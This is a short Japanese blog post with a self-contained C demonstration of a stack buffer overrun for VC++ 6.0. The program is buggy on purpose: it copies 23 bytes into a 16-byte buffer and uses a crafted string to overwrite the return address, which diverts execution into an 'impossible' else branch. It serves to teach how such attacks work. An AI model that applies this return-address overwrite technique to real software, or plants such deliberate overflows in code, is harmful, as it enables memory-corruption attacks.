myun2の???

Your awesome Tagline

Notes

バッファオーバーランを悪用するコード完成!!

/*
 バッファオーバーランを悪用するコード(VC++ 6.0向け)
 参考:
  http://d.hatena.ne.jp/sorataro2001/searchdiary?of=4&word=%a5%d0%a5%c3%a5%d5%a5%a1%a5%aa%a1%bc%a5%d0
*/

#include <stdio.h>
#include <string.h>

/* バッファサイズの宣言が紛らわしくも二種類ある */
#define BUFFER_SIZE_A (16)
#define BUFFER_SIZE_B (24)

/* リターンアドレスを特定してpに格納する関数 */
void _put_ret_addr(unsigned int *p)
{
 *p = *((unsigned int*)(&p-1)) + 0x30;
}

/* struprしてそれをprintfする関数。でもバグってる・・・ */
void strupr_and_print(const char* text)
{
 char buffer[BUFFER_SIZE_A];
 memcpy(buffer,text,BUFFER_SIZE_B-1); /* 間違った定数を使っている… */
 strupr(buffer);
 printf(“%s\n”, buffer);
}

/* メイン関数 */
int main()
{
 const char* s_const = “ABCDEFGHIJKLMNO\0”
  ”\x80\xff\x13\x00” // なんかよく分かんないけどこうらしい
  ”____”;    // リターンアドレスを後で格納するための領域
 char s[32];
 memcpy(s, s_const, 32); // s_constは書き換えられませんので・・・作業バッファに。

 /* 本来のクラッキングであれば、直接s_constの「____」にアドレスを書いちゃう訳なんですけど・・・今回は各自がモジュールを生成しますので仕方なく・・・ */
 _put_ret_addr( (unsigned int*)(s+16+4) );

 //////////////////////////////////////////////////////////

 strupr_and_print(s);

 /* 普通に考えればこっちを通ります */
 if ( 1 == 1 )
 { 
  printf(“正常な処理のルートです。\n”);
 }

 /* でも・・・何故かこの条件文の中に入ってきます・・・! */
 else
 {
  strupr_and_print(s);
  /* 厳密には、ココに飛んでくる */
  printf(“ここに来られると困っちゃうよ…ヤバいヨ…!!\n”);
 }

 return 0;
}